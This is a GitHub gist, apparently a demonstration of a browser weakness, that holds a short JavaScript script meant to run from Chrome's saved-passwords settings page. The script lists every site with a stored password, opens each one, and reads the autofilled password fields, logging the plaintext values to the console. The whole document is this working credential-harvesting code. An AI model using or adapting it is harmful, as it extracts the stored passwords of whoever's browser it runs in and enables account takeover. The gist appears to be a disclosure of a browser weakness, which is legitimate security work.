Skip to content

Instantly share code, notes, and snippets.

@LandonPowell
Created February 20, 2017 00:47
Show Gist options
  • Save LandonPowell/4975dc42f55c89a18dbaf0bd4c12e75e to your computer and use it in GitHub Desktop.
Save LandonPowell/4975dc42f55c89a18dbaf0bd4c12e75e to your computer and use it in GitHub Desktop.
Chrome Said This Was Okay
/*
Using these three functions, start in chrome://settings/passwords
*/
function listSites() {
var listOfSites = document.getElementById("saved-passwords-list").children;
var list = [];
for (var i = 0; i < listOfSites.length; i++) {
if (listOfSites[i].className != "spacer")
list.push(listOfSites[i].children[0].children[0].title);
}
return list;
}
function openWindows(list) {
for (var i = 0; i < list.length; i++)
window.open(list[i]);
}
function scanPasswords() {
console.log(window.location.href);
var passwords = document.querySelectorAll("[type=password]");
var passList = [];
for (var i = 0; i < passwords.length; i++) {
console.log(passwords[i].value);
passList.push(passwords[i].value);
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment